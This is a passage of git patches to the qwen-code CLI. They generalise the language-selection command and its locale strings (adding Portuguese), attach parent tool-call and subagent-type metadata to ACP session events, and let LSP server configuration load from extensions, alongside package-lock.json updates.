é um recurso... desta tela de carregamento.', + 'Você já tentou desligar e ligar de novo? (A tela de carregamento, não eu.)', + 'Construindo pilares adicionais...', + ], + + // ============================================================================ + // Extension Settings Input + // ============================================================================ + 'Enter value...': 'Digite o valor...', + 'Enter sensitive value...': 'Digite o valor sensível...', + 'Press Enter to submit, Escape to cancel': + 'Pressione Enter para enviar, Escape para cancelar', + + // ============================================================================ + // Command Migration Tool + // ============================================================================ + 'Markdown file already exists: {{filename}}': + 'Arquivo Markdown já existe: {{filename}}', + 'TOML Command Format Deprecation Notice': + 'Aviso de Obsolescência do Formato de Comando TOML', + 'Found {{count}} command file(s) in TOML format:': + 'Encontrado(s) {{count}} arquivo(s) de comando no formato TOML:', + 'The TOML format for commands is being deprecated in favor of Markdown format.': + 'O formato TOML para comandos está sendo descontinuado em favor do formato Markdown.', + 'Markdown format is more readable and easier to edit.': + 'O formato Markdown é mais legível e fácil de editar.', + 'You can migrate these files automatically using:': + 'Você pode migrar esses arquivos automaticamente usando:', + 'Or manually convert each file:': 'Ou converter manualmente cada arquivo:', + 'TOML: prompt = "..." / description = "..."': + 'TOML: prompt = "..." / description = "..."', + 'Markdown: YAML frontmatter + content': + 'Markdown: YAML frontmatter + conteúdo', + 'The migration tool will:': 'A ferramenta de migração irá:', + 'Convert TOML files to Markdown': 'Converter arquivos TOML para Markdown', + 'Create backups of original files': 'Criar backups dos arquivos originais', + 'Preserve all command functionality': + 'Preservar toda a funcionalidade do comando', + 'TOML format will continue to work for now, but migration is recommended.': + 'O formato TOML continuará a funcionar por enquanto, mas a migração é recomendada.', + + // ============================================================================ + // Extensions - Explore Command + // ============================================================================ + 'Open extensions page in your browser': + 'Abrir página de extensões no seu navegador', + 'Unknown extensions source: {{source}}.': + 'Fonte de extensões desconhecida: {{source}}.', + 'Would open extensions page in your browser: {{url}} (skipped in test environment)': + 'Abriria a página de extensões no seu navegador: {{url}} (pulado no ambiente de teste)', + 'View available extensions at {{url}}': + 'Ver extensões disponíveis em {{url}}', + 'Opening extensions page in your browser: {{url}}': + 'Abrindo página de extensões no seu navegador: {{url}}', + 'Failed to open browser. Check out the extensions gallery at {{url}}': + 'Falha ao abrir o navegador. Confira a galeria de extensões em {{url}}', +}; diff --git a/packages/cli/src/i18n/locales/ru.js b/packages/cli/src/i18n/locales/ru.js index 8e84c717f..cefa5a67f 100644 --- a/packages/cli/src/i18n/locales/ru.js +++ b/packages/cli/src/i18n/locales/ru.js @@ -580,8 +580,8 @@ export default { // ============================================================================ // Команды - Язык // ============================================================================ - 'Invalid language. Available: en-US, zh-CN': - 'Неверный язык. Доступны: en-US, zh-CN, ru-RU, de-DE, ja-JP', + 'Invalid language. Available: {{options}}': + 'Недопустимый язык. Доступны: {{options}}', 'Language subcommands do not accept additional arguments.': 'Подкоманды языка не принимают дополнительных аргументов.', 'Current UI language: {{lang}}': 'Текущий язык интерфейса: {{lang}}', @@ -589,13 +589,14 @@ export default { 'LLM output language not set': 'Язык вывода LLM не установлен', 'Set UI language': 'Установка языка интерфейса', 'Set LLM output language': 'Установка языка вывода LLM', - 'Usage: /language ui [zh-CN|en-US]': - 'Использование: /language ui [zh-CN|en-US|ru-RU|de-DE|ja-JP]', + 'Usage: /language ui [{{options}}]': + 'Использование: /language ui [{{options}}]', 'Usage: /language output ': 'Использование: /language output ', 'Example: /language output 中文': 'Пример: /language output 中文', 'Example: /language output English': 'Пример: /language output English', 'Example: /language output 日本語': 'Пример: /language output 日本語', + 'Example: /language output Português': 'Пример: /language output Português', 'UI language changed to {{lang}}': 'Язык интерфейса изменен на {{lang}}', 'LLM output language set to {{lang}}': 'Язык вывода LLM установлен на {{lang}}', @@ -611,21 +612,7 @@ export default { 'To request additional UI language packs, please open an issue on GitHub.': 'Для запроса дополнительных языковых пакетов интерфейса, пожалуйста, создайте обращение на GitHub.', 'Available options:': 'Доступные варианты:', - ' - zh-CN: Simplified Chinese': ' - zh-CN: Упрощенный китайский', - ' - en-US: English': ' - en-US: Английский', - ' - ru-RU: Russian': ' - ru-RU: Русский', - ' - de-DE: German': ' - de-DE: Немецкий', - ' - ja-JP: Japanese': ' - ja-JP: Японский', - 'Set UI language to Simplified Chinese (zh-CN)': - 'Установить язык интерфейса на упрощенный китайский (zh-CN)', - 'Set UI language to English (en-US)': - 'Установить язык интерфейса на английский (en-US)', - 'Set UI language to Russian (ru-RU)': - 'Установить язык интерфейса на русский (ru-RU)', - 'Set UI language to German (de-DE)': - 'Установить язык интерфейса на немецкий (de-DE)', - 'Set UI language to Japanese (ja-JP)': - 'Установить язык интерфейса на японский (ja-JP)', + 'Set UI language to {{name}}': 'Установить язык интерфейса на {{name}}', // ============================================================================ // Команды - Режим подтверждения diff --git a/packages/cli/src/i18n/locales/zh.js b/packages/cli/src/i18n/locales/zh.js index a1af697c9..7b7641c3b 100644 --- a/packages/cli/src/i18n/locales/zh.js +++ b/packages/cli/src/i18n/locales/zh.js @@ -548,8 +548,8 @@ export default { // ============================================================================ // Commands - Language // ============================================================================ - 'Invalid language. Available: en-US, zh-CN': - '无效的语言。可用选项：en-US, zh-CN, ru-RU, de-DE, ja-JP', + 'Invalid language. Available: {{options}}': + '无效的语言。可用选项：{{options}}', 'Language subcommands do not accept additional arguments.': '语言子命令不接受额外参数', 'Current UI language: {{lang}}': '当前 UI 语言：{{lang}}', @@ -557,11 +557,12 @@ export default { 'LLM output language not set': '未设置 LLM 输出语言', 'Set UI language': '设置 UI 语言', 'Set LLM output language': '设置 LLM 输出语言', - 'Usage: /language ui [zh-CN|en-US]': '用法：/language ui [zh-CN|en-US]', + 'Usage: /language ui [{{options}}]': '用法：/language ui [{{options}}]', 'Usage: /language output ': '用法：/language output <语言>', 'Example: /language output 中文': '示例：/language output 中文', 'Example: /language output English': '示例：/language output English', 'Example: /language output 日本語': '示例：/language output 日本語', + 'Example: /language output Português': '示例：/language output Português', 'UI language changed to {{lang}}': 'UI 语言已更改为 {{lang}}', 'LLM output language set to {{lang}}': 'LLM 输出语言已设置为 {{lang}}', 'LLM output language rule file generated at {{path}}': @@ -575,11 +576,7 @@ export default { 'To request additional UI language packs, please open an issue on GitHub.': '如需请求其他 UI 语言包，请在 GitHub 上提交 issue', 'Available options:': '可用选项：', - ' - zh-CN: Simplified Chinese': ' - zh-CN: 简体中文', - ' - en-US: English': ' - en-US: English', - 'Set UI language to Simplified Chinese (zh-CN)': - '将 UI 语言设置为简体中文 (zh-CN)', - 'Set UI language to English (en-US)': '将 UI 语言设置为英语 (en-US)', + 'Set UI language to {{name}}': '将 UI 语言设置为 {{name}}', // ============================================================================ // Commands - Approval Mode diff --git a/packages/cli/src/ui/commands/languageCommand.test.ts b/packages/cli/src/ui/commands/languageCommand.test.ts index 667e49441..e8ebaac01 100644 --- a/packages/cli/src/ui/commands/languageCommand.test.ts +++ b/packages/cli/src/ui/commands/languageCommand.test.ts @@ -22,6 +22,7 @@ vi.mock('../../i18n/index.js', () => ({ ru: 'Russian', de: 'German', ja: 'Japanese', + pt: 'Portuguese', }; return map[locale] || 'English'; }), @@ -73,6 +74,7 @@ vi.mock('@qwen-code/qwen-code-core', async (importOriginal) => { // Import modules after mocking import * as i18n from '../../i18n/index.js'; +import { SUPPORTED_LANGUAGES } from '../../i18n/languages.js'; import { languageCommand } from './languageCommand.js'; import { initializeLlmOutputLanguage } from '../../utils/languageUtils.js'; @@ -566,11 +568,9 @@ describe('languageCommand', () => { it('should have nested language subcommands', () => { const nestedNames = uiSubcommand?.subCommands?.map((c) => c.name); - expect(nestedNames).toContain('zh-CN'); - expect(nestedNames).toContain('en-US'); - expect(nestedNames).toContain('ru-RU'); - expect(nestedNames).toContain('de-DE'); - expect(nestedNames).toContain('ja-JP'); + for (const lang of SUPPORTED_LANGUAGES) { + expect(nestedNames).toContain(lang.id); + } }); it('should have action that sets language', async () => { @@ -831,5 +831,18 @@ describe('languageCommand', () => { 'utf-8', ); }); + + it('should detect Portuguese locale and create Portuguese rule file', () => { + vi.mocked(fs.existsSync).mockReturnValue(false); + vi.mocked(i18n.detectSystemLanguage).mockReturnValue('pt'); + + initializeLlmOutputLanguage(); + + expect(fs.writeFileSync).toHaveBeenCalledWith( + expect.stringContaining('output-language.md'), + expect.stringContaining('Portuguese'), + 'utf-8', + ); + }); }); }); diff --git a/packages/cli/src/ui/commands/languageCommand.ts b/packages/cli/src/ui/commands/languageCommand.ts index e4158ce5c..56b08e1bb 100644 --- a/packages/cli/src/ui/commands/languageCommand.ts +++ b/packages/cli/src/ui/commands/languageCommand.ts @@ -18,7 +18,10 @@ import { type SupportedLanguage, t, } from '../../i18n/index.js'; -import { SUPPORTED_LANGUAGES } from '../../i18n/languages.js'; +import { + SUPPORTED_LANGUAGES, + getSupportedLanguageIds, +} from '../../i18n/languages.js'; import { OUTPUT_LANGUAGE_AUTO, isAutoLanguage, @@ -62,11 +65,14 @@ function parseUiLanguageArg(input: string): SupportedLanguage | null { } /** - * Formats a UI language code for display (e.g., "zh" -> "Chinese（zh-CN）"). + * Formats a UI language code for display (e.g., "zh" -> "中文 (Chinese) [zh-CN]"). */ function formatUiLanguageDisplay(lang: SupportedLanguage): string { const option = SUPPORTED_LANGUAGES.find((o) => o.code === lang); - return option ? `${option.fullName}（${option.id}）` : lang; + if (!option) return lang; + return option.nativeName && option.nativeName !== option.fullName + ? `${option.nativeName} (${option.fullName}) [${option.id}]` + : `${option.fullName} [${option.id}]`; } /** @@ -219,7 +225,7 @@ export const languageCommand: SlashCommand = { messageType: 'error', content: [ t('Invalid command. Available subcommands:'), - ` - /language ui [${SUPPORTED_LANGUAGES.map((o) => o.id).join('|')}] - ${t('Set UI language')}`, + ` - /language ui [${getSupportedLanguageIds()}] - ${t('Set UI language')}`, ` - /language output - ${t('Set LLM output language')}`, ].join('\n'), }; @@ -245,7 +251,7 @@ export const languageCommand: SlashCommand = { t('Current LLM output language: {{lang}}', { lang: outputLangDisplay }), '', t('Available subcommands:'), - ` /language ui [${SUPPORTED_LANGUAGES.map((o) => o.id).join('|')}] - ${t('Set UI language')}`, + ` /language ui [${getSupportedLanguageIds()}] - ${t('Set UI language')}`, ` /language output - ${t('Set LLM output language')}`, ].join('\n'), }; @@ -274,12 +280,12 @@ export const languageCommand: SlashCommand = { t('Set UI language'), '', t('Usage: /language ui [{{options}}]', { - options: SUPPORTED_LANGUAGES.map((o) => o.id).join('|'), + options: getSupportedLanguageIds(), }), '', t('Available options:'), ...SUPPORTED_LANGUAGES.map( - (o) => ` - ${o.id}: ${t(o.fullName)}`, + (o) => ` - ${o.id}: ${o.nativeName || o.fullName}`, ), '', t( @@ -295,7 +301,7 @@ export const languageCommand: SlashCommand = { type: 'message', messageType: 'error', content: t('Invalid language. Available: {{options}}', { - options: SUPPORTED_LANGUAGES.map((o) => o.id).join(','), + options: getSupportedLanguageIds(','), }), }; } @@ -308,7 +314,9 @@ export const languageCommand: SlashCommand = { (lang): SlashCommand => ({ name: lang.id, get description() { - return t('Set UI language to {{name}}', { name: lang.fullName }); + return t('Set UI language to {{name}}', { + name: lang.nativeName || lang.fullName, + }); }, kind: CommandKind.BUILT_IN, action: async (context, args) => { From b1553ff604c0d911cc0ed5af96a2c1fa871d6c0d Mon Sep 17 00:00:00 2001 From: "mingholy.lmh" Date: Tue, 27 Jan 2026 10:45:38 +0800 Subject: [PATCH 42/79] fix: add parentToolCallId and subagentType for acp --- packages/cli/src/acp-integration/schema.ts | 2 ++ .../src/acp-integration/session/Session.ts | 11 +++++++++- .../session/SubAgentTracker.test.ts | 22 ++++++++++++++++++- .../session/SubAgentTracker.ts | 21 +++++++++++++++++- .../session/emitters/MessageEmitter.ts | 5 ++++- .../session/emitters/ToolCallEmitter.ts | 19 +++++++++++++--- .../cli/src/acp-integration/session/types.ts | 14 ++++++++++++ 7 files changed, 87 insertions(+), 7 deletions(-) diff --git a/packages/cli/src/acp-integration/schema.ts b/packages/cli/src/acp-integration/schema.ts index e25239485..8e81b140d 100644 --- a/packages/cli/src/acp-integration/schema.ts +++ b/packages/cli/src/acp-integration/schema.ts @@ -367,6 +367,8 @@ export const sessionUpdateMetaSchema = z.object({ usage: usageSchema.optional().nullable(), durationMs: z.number().optional().nullable(), toolName: z.string().optional().nullable(), + parentToolCallId: z.string().optional().nullable(), + subagentType: z.string().optional().nullable(), }); export type SessionUpdateMeta = z.infer; diff --git a/packages/cli/src/acp-integration/session/Session.ts b/packages/cli/src/acp-integration/session/Session.ts index 040bee539..48d91fd0e 100644 --- a/packages/cli/src/acp-integration/session/Session.ts +++ b/packages/cli/src/acp-integration/session/Session.ts @@ -474,8 +474,17 @@ export class Session implements SessionContext { } ).eventEmitter; + // Extract subagent metadata from TaskTool call + const parentToolCallId = callId; + const subagentType = (args['subagent_type'] as string) ?? ''; + // Create a SubAgentTracker for this tool execution - const subAgentTracker = new SubAgentTracker(this, this.client); + const subAgentTracker = new SubAgentTracker( + this, + this.client, + parentToolCallId, + subagentType, + ); // Set up sub-agent tool tracking subAgentCleanupFunctions = subAgentTracker.setup( diff --git a/packages/cli/src/acp-integration/session/SubAgentTracker.test.ts b/packages/cli/src/acp-integration/session/SubAgentTracker.test.ts index f2bb7cc50..b21cf6bc6 100644 --- a/packages/cli/src/acp-integration/session/SubAgentTracker.test.ts +++ b/packages/cli/src/acp-integration/session/SubAgentTracker.test.ts @@ -132,7 +132,12 @@ describe('SubAgentTracker', () => { requestPermission: requestPermissionSpy, } as unknown as acp.Client; - tracker = new SubAgentTracker(mockContext, mockClient); + tracker = new SubAgentTracker( + mockContext, + mockClient, + 'parent-call-123', + 'test-subagent', + ); eventEmitter = new EventEmitter() as unknown as SubAgentEventEmitter; abortController = new AbortController(); }); @@ -214,6 +219,11 @@ describe('SubAgentTracker', () => { locations: [], kind: 'other', rawInput: { path: '/test.ts' }, + _meta: expect.objectContaining({ + toolName: 'read_file', + parentToolCallId: 'parent-call-123', + subagentType: 'test-subagent', + }), }), ); }); @@ -283,6 +293,11 @@ describe('SubAgentTracker', () => { sessionUpdate: 'tool_call_update', toolCallId: 'call-123', status: 'completed', + _meta: expect.objectContaining({ + toolName: 'read_file', + parentToolCallId: 'parent-call-123', + subagentType: 'test-subagent', + }), }), ); }); @@ -305,6 +320,11 @@ describe('SubAgentTracker', () => { expect.objectContaining({ sessionUpdate: 'tool_call_update', status: 'failed', + _meta: expect.objectContaining({ + toolName: 'read_file', + parentToolCallId: 'parent-call-123', + subagentType: 'test-subagent', + }), }), ); }); diff --git a/packages/cli/src/acp-integration/session/SubAgentTracker.ts b/packages/cli/src/acp-integration/session/SubAgentTracker.ts index 1e745b925..e174590cc 100644 --- a/packages/cli/src/acp-integration/session/SubAgentTracker.ts +++ b/packages/cli/src/acp-integration/session/SubAgentTracker.ts @@ -77,11 +77,23 @@ export class SubAgentTracker { constructor( private readonly ctx: SessionContext, private readonly client: acp.Client, + private readonly parentToolCallId: string, + private readonly subagentType: string, ) { this.toolCallEmitter = new ToolCallEmitter(ctx); this.messageEmitter = new MessageEmitter(ctx); } + /** + * Gets the subagent metadata to attach to all events. + */ + private getSubagentMeta() { + return { + parentToolCallId: this.parentToolCallId, + subagentType: this.subagentType, + }; + } + /** * Sets up event listeners for a sub-agent's tool events. * @@ -151,6 +163,7 @@ export class SubAgentTracker { toolName: event.name, callId: event.callId, args: event.args, + subagentMeta: this.getSubagentMeta(), }); }; } @@ -175,6 +188,7 @@ export class SubAgentTracker { message: event.responseParts ?? [], resultDisplay: event.resultDisplay, args: state?.args, + subagentMeta: this.getSubagentMeta(), }); // Clean up state @@ -269,7 +283,12 @@ export class SubAgentTracker { const event = args[0] as SubAgentUsageEvent; if (abortSignal.aborted) return; - this.messageEmitter.emitUsageMetadata(event.usage, '', event.durationMs); + this.messageEmitter.emitUsageMetadata( + event.usage, + '', + event.durationMs, + this.getSubagentMeta(), + ); }; } diff --git a/packages/cli/src/acp-integration/session/emitters/MessageEmitter.ts b/packages/cli/src/acp-integration/session/emitters/MessageEmitter.ts index 39cdf6a72..edf943b21 100644 --- a/packages/cli/src/acp-integration/session/emitters/MessageEmitter.ts +++ b/packages/cli/src/acp-integration/session/emitters/MessageEmitter.ts @@ -53,6 +53,7 @@ export class MessageEmitter extends BaseEmitter { usageMetadata: GenerateContentResponseUsageMetadata, text: string = '', durationMs?: number, + subagentMeta?: import('../types.js').SubagentMeta, ): Promise { const usage: Usage = { promptTokens: usageMetadata.promptTokenCount, @@ -63,7 +64,9 @@ export class MessageEmitter extends BaseEmitter { }; const meta = - typeof durationMs === 'number' ? { usage, durationMs } : { usage }; + typeof durationMs === 'number' + ? { usage, durationMs, ...subagentMeta } + : { usage, ...subagentMeta }; await this.sendUpdate({ sessionUpdate: 'agent_message_chunk', diff --git a/packages/cli/src/acp-integration/session/emitters/ToolCallEmitter.ts b/packages/cli/src/acp-integration/session/emitters/ToolCallEmitter.ts index 9ff3e34c8..e925567a7 100644 --- a/packages/cli/src/acp-integration/session/emitters/ToolCallEmitter.ts +++ b/packages/cli/src/acp-integration/session/emitters/ToolCallEmitter.ts @@ -11,6 +11,7 @@ import type { ToolCallStartParams, ToolCallResultParams, ResolvedToolMetadata, + SubagentMeta, } from '../types.js'; import type * as acp from '../../acp.js'; import type { Part } from '@google/genai'; @@ -65,7 +66,10 @@ export class ToolCallEmitter extends BaseEmitter { locations, kind, rawInput: params.args ?? {}, - _meta: { toolName: params.toolName }, + _meta: { + toolName: params.toolName, + ...params.subagentMeta, + }, }); return true; @@ -121,7 +125,10 @@ export class ToolCallEmitter extends BaseEmitter { toolCallId: params.callId, status: params.success ? 'completed' : 'failed', content: contentArray, - _meta: { toolName: params.toolName }, + _meta: { + toolName: params.toolName, + ...params.subagentMeta, + }, }; // Add rawOutput from resultDisplay @@ -137,12 +144,15 @@ export class ToolCallEmitter extends BaseEmitter { * Use this for explicit error handling when not using emitResult. * * @param callId - The tool call ID + * @param toolName - The tool name * @param error - The error that occurred + * @param subagentMeta - Optional subagent metadata */ async emitError( callId: string, toolName: string, error: Error, + subagentMeta?: SubagentMeta, ): Promise { await this.sendUpdate({ sessionUpdate: 'tool_call_update', @@ -151,7 +161,10 @@ export class ToolCallEmitter extends BaseEmitter { content: [ { type: 'content', content: { type: 'text', text: error.message } }, ], - _meta: { toolName }, + _meta: { + toolName, + ...subagentMeta, + }, }); } diff --git a/packages/cli/src/acp-integration/session/types.ts b/packages/cli/src/acp-integration/session/types.ts index 7812fb036..64cd262aa 100644 --- a/packages/cli/src/acp-integration/session/types.ts +++ b/packages/cli/src/acp-integration/session/types.ts @@ -25,6 +25,16 @@ export interface SessionContext extends SessionUpdateSender { readonly config: Config; } +/** + * Subagent metadata for tracking parent tool call context. + */ +export interface SubagentMeta { + /** ID of the parent TaskTool call that created this subagent */ + parentToolCallId?: string; + /** Type of subagent (from TaskParams.subagent_type) */ + subagentType?: string; +} + /** * Parameters for emitting a tool call start event. */ @@ -37,6 +47,8 @@ export interface ToolCallStartParams { args?: Record; /** Status of the tool call */ status?: 'pending' | 'in_progress' | 'completed' | 'failed'; + /** Optional subagent metadata */ + subagentMeta?: SubagentMeta; } /** @@ -57,6 +69,8 @@ export interface ToolCallResultParams { error?: Error; /** Original args (fallback for TodoWriteTool todos extraction) */ args?: Record; + /** Optional subagent metadata */ + subagentMeta?: SubagentMeta; } /** From 7ec79e6806fb85de833bb273a6e2e980fe962a39 Mon Sep 17 00:00:00 2001 From: yiliang114 <1204183885@qq.com> Date: Tue, 27 Jan 2026 11:21:29 +0800 Subject: [PATCH 43/79] feat(lsp): support for loading lspServers configurations from extensions --- docs/users/features/lsp.md | 40 +---- package-lock.json | 168 ++++-------------- .../src/services/lsp/LspConfigLoader.test.ts | 78 ++++++++ .../cli/src/services/lsp/LspConfigLoader.ts | 152 ++++++++++++---- .../cli/src/services/lsp/NativeLspService.ts | 21 ++- .../src/extension/claude-converter.test.ts | 20 +++ .../core/src/extension/claude-converter.ts | 9 +- .../core/src/extension/extensionManager.ts | 1 + 8 files changed, 278 insertions(+), 211 deletions(-) create mode 100644 packages/cli/src/services/lsp/LspConfigLoader.test.ts diff --git a/docs/users/features/lsp.md b/docs/users/features/lsp.md index bf6266fbc..c0ed7da9a 100644 --- a/docs/users/features/lsp.md +++ b/docs/users/features/lsp.md @@ -38,7 +38,7 @@ You need to have the language server for your programming language installed: ### .lsp.json File -You can configure language servers using a `.lsp.json` file in your project root. This follows the [Claude Code plugin LSP configuration format](https://code.claude.com/docs/en/plugins-reference#lsp-servers). +You can configure language servers using a `.lsp.json` file in your project root. This uses the language-keyed format described in the [Claude Code plugin LSP configuration reference](https://code.claude.com/docs/en/plugins-reference#lsp-servers). **Basic format:** @@ -57,28 +57,6 @@ You can configure language servers using a `.lsp.json` file in your project root } ``` -**Extended format with `languageServers` wrapper:** - -```json -{ - "languageServers": { - "typescript-language-server": { - "languages": [ - "typescript", - "javascript", - "typescriptreact", - "javascriptreact" - ], - "command": "typescript-language-server", - "args": ["--stdio"], - "transport": "stdio", - "initializationOptions": {}, - "settings": {} - } - } -} -``` - ### Configuration Options #### Required Fields @@ -346,7 +324,7 @@ Or check the LSP debugging guide at `packages/cli/LSP_DEBUGGING_GUIDE.md`. ## Claude Code Compatibility -Qwen Code supports Claude Code-style `.lsp.json` configuration files as defined in the [Claude Code plugins reference](https://code.claude.com/docs/en/plugins-reference#lsp-servers). If you're migrating from Claude Code, your existing LSP configuration should work with minimal changes. +Qwen Code supports Claude Code-style `.lsp.json` configuration files in the language-keyed format defined in the [Claude Code plugins reference](https://code.claude.com/docs/en/plugins-reference#lsp-servers). If you're migrating from Claude Code, use the language-as-key layout in your configuration. ### Configuration Format @@ -364,19 +342,7 @@ The recommended format follows Claude Code's specification: } ``` -The `languageServers` wrapper format is also supported: - -```json -{ - "languageServers": { - "gopls": { - "languages": ["go"], - "command": "gopls", - "args": ["serve"] - } - } -} -``` +Claude Code LSP plugins can also supply `lspServers` in `plugin.json` (or a referenced `.lsp.json`). Qwen Code loads those configs when the extension is enabled, and they must use the same language-keyed format. ## Best Practices diff --git a/package-lock.json b/package-lock.json index e3e7405e1..17963ad94 100644 --- a/package-lock.json +++ b/package-lock.json @@ -596,6 +596,7 @@ } ], "license": "MIT", + "peer": true, "engines": { "node": ">=18" }, @@ -619,6 +620,7 @@ } ], "license": "MIT", + "peer": true, "engines": { "node": ">=18" } @@ -1933,6 +1935,7 @@ "resolved": "https://registry.npmjs.org/@opentelemetry/api/-/api-1.9.0.tgz", "integrity": "sha512-3giAOQvZiH5F9bMlMiv8+GSPMeqg0dbaeo58/0SlA9sxSqZhnUtxzX9/2FzyhS9sWQf5S0GJE0AKBrFqjpeYcg==", "license": "Apache-2.0", + "peer": true, "engines": { "node": ">=8.0.0" } @@ -2447,7 +2450,6 @@ "hasInstallScript": true, "license": "MIT", "optional": true, - "peer": true, "dependencies": { "detect-libc": "^1.0.3", "is-glob": "^4.0.3", @@ -2490,7 +2492,6 @@ "os": [ "android" ], - "peer": true, "engines": { "node": ">= 10.0.0" }, @@ -2512,7 +2513,6 @@ "os": [ "darwin" ], - "peer": true, "engines": { "node": ">= 10.0.0" }, @@ -2534,7 +2534,6 @@ "os": [ "darwin" ], - "peer": true, "engines": { "node": ">= 10.0.0" }, @@ -2556,7 +2555,6 @@ "os": [ "freebsd" ], - "peer": true, "engines": { "node": ">= 10.0.0" }, @@ -2578,7 +2576,6 @@ "os": [ "linux" ], - "peer": true, "engines": { "node": ">= 10.0.0" }, @@ -2600,7 +2597,6 @@ "os": [ "linux" ], - "peer": true, "engines": { "node": ">= 10.0.0" }, @@ -2622,7 +2618,6 @@ "os": [ "linux" ], - "peer": true, "engines": { "node": ">= 10.0.0" }, @@ -2644,7 +2639,6 @@ "os": [ "linux" ], - "peer": true, "engines": { "node": ">= 10.0.0" }, @@ -2666,7 +2660,6 @@ "os": [ "linux" ], - "peer": true, "engines": { "node": ">= 10.0.0" }, @@ -2688,7 +2681,6 @@ "os": [ "linux" ], - "peer": true, "engines": { "node": ">= 10.0.0" }, @@ -2710,7 +2702,6 @@ "os": [ "win32" ], - "peer": true, "engines": { "node": ">= 10.0.0" }, @@ -2732,7 +2723,6 @@ "os": [ "win32" ], - "peer": true, "engines": { "node": ">= 10.0.0" }, @@ -2754,7 +2744,6 @@ "os": [ "win32" ], - "peer": true, "engines": { "node": ">= 10.0.0" }, @@ -2770,7 +2759,6 @@ "dev": true, "license": "Apache-2.0", "optional": true, - "peer": true, "bin": { "detect-libc": "bin/detect-libc.js" }, @@ -2784,8 +2772,7 @@ "integrity": "sha512-5m3bsyrjFWE1xf7nz7YXdN4udnVtXK6/Yfgn5qnahL6bCkf2yKt4k3nuTKAtT4r3IG8JNR2ncsIMdZuAzJjHQQ==", "dev": true, "license": "MIT", - "optional": true, - "peer": true + "optional": true }, "node_modules/@pkgjs/parseargs": { "version": "0.11.0", @@ -3428,6 +3415,7 @@ "resolved": "https://registry.npmjs.org/@testing-library/dom/-/dom-10.4.1.tgz", "integrity": "sha512-o4PXJQidqJl82ckFaXUeoAW+XysPLauYI43Abki5hABd853iMhitooc6znOnczgbTYmEP6U6/y1ZyKAIsvMKGg==", "license": "MIT", + "peer": true, "dependencies": { "@babel/code-frame": "^7.10.4", "@babel/runtime": "^7.12.5", @@ -3878,19 +3866,13 @@ "version": "2.4.9", "resolved": "https://registry.npmjs.org/@types/prompts/-/prompts-2.4.9.tgz", "integrity": "sha512-qTxFi6Buiu8+50/+3DGIWLHM6QuWsEKugJnnP6iv2Mc4ncxE4A/OJkjuVOA+5X0X1S/nq5VJRa8Lu+nwcvbrKA==", + "dev": true, "license": "MIT", "dependencies": { "@types/node": "*", "kleur": "^3.0.3" } }, - "node_modules/@types/prop-types": { - "version": "15.7.15", - "resolved": "https://registry.npmjs.org/@types/prop-types/-/prop-types-15.7.15.tgz", - "integrity": "sha512-F6bEyamV9jKGAFBEmlQnesRPGOQqS2+Uwi0Em15xenOxHaf2hv6L8YCVn3rPdPJOiJfPiCnLIRyvwVaqMY3MIw==", - "dev": true, - "license": "MIT" - }, "node_modules/@types/qrcode-terminal": { "version": "0.12.2", "resolved": "https://registry.npmjs.org/@types/qrcode-terminal/-/qrcode-terminal-0.12.2.tgz", @@ -3918,6 +3900,7 @@ "integrity": "sha512-AwAfQ2Wa5bCx9WP8nZL2uMZWod7J7/JSplxbTmBQ5ms6QpqNYm672H0Vu9ZVKVngQ+ii4R/byguVEUZQyeg44g==", "devOptional": true, "license": "MIT", + "peer": true, "dependencies": { "csstype": "^3.0.2" } @@ -3928,6 +3911,7 @@ "integrity": "sha512-4hOiT/dwO8Ko0gV1m/TJZYk3y0KBnY9vzDh7W+DH17b2HFSOGgdj33dhihPeuy3l0q23+4e+hoXHV6hCC4dCXw==", "dev": true, "license": "MIT", + "peer": true, "peerDependencies": { "@types/react": "^19.0.0" } @@ -4133,6 +4117,7 @@ "integrity": "sha512-6sMvZePQrnZH2/cJkwRpkT7DxoAWh+g6+GFRK6bV3YQo7ogi3SX5rgF6099r5Q53Ma5qeT7LGmOmuIutF4t3lA==", "dev": true, "license": "MIT", + "peer": true, "dependencies": { "@typescript-eslint/scope-manager": "8.35.0", "@typescript-eslint/types": "8.35.0", @@ -4907,6 +4892,7 @@ "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.15.0.tgz", "integrity": "sha512-NZyJarBfL7nWwIq+FDL6Zp/yHEhePMNnnJ0y3qfieCrmNvYct8uvtiV41UvlSe6apAfk0fY1FbWx+NwfmpvtTg==", "license": "MIT", + "peer": true, "bin": { "acorn": "bin/acorn" }, @@ -5314,8 +5300,7 @@ "version": "1.1.1", "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz", "integrity": "sha512-PCVAQswWemu6UdxsDFFX/+gVeYqKAod3D3UVm91jHwynguOwAvYPhx8nNlM++NqRcK6CxxpUafjmhIdKiHibqg==", - "license": "MIT", - "peer": true + "license": "MIT" }, "node_modules/array-includes": { "version": "3.1.9", @@ -5893,6 +5878,7 @@ } ], "license": "MIT", + "peer": true, "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", @@ -6645,7 +6631,6 @@ "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.4.tgz", "integrity": "sha512-FveZTNuGw04cxlAiWbzi6zTAL/lhehaWbTtgluJh4/E95DqMwTmha3KZN1aAWA8cFIhHzMZUvLevkw5Rqk+tSQ==", "license": "MIT", - "peer": true, "dependencies": { "safe-buffer": "5.2.1" }, @@ -7770,6 +7755,7 @@ "integrity": "sha512-GsGizj2Y1rCWDu6XoEekL3RLilp0voSePurjZIkxL3wlm5o5EC9VpgaP7lrCvjnkuLvzFBQWB3vWB3K5KQTveQ==", "dev": true, "license": "MIT", + "peer": true, "dependencies": { "@eslint-community/eslint-utils": "^4.2.0", "@eslint-community/regexpp": "^4.12.1", @@ -8304,7 +8290,6 @@ "resolved": "https://registry.npmjs.org/express/-/express-4.21.2.tgz", "integrity": "sha512-28HqgMZAmih1Czt9ny7qr6ek2qddF4FclbMzwhCREB6OFfH+rXAnuNCwo1/wFvrtbgsQDb4kSbX9de9lFbrXnA==", "license": "MIT", - "peer": true, "dependencies": { "accepts": "~1.3.8", "array-flatten": "1.1.1", @@ -8366,7 +8351,6 @@ "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.7.1.tgz", "integrity": "sha512-6DnInpx7SJ2AK3+CTUE/ZM0vWTUboZCegxhC2xiIydHR9jNuTAASBrfEpHhiGOZw/nX51bHt6YQl8jsGo4y/0w==", "license": "MIT", - "peer": true, "engines": { "node": ">= 0.6" } @@ -8376,7 +8360,6 @@ "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", 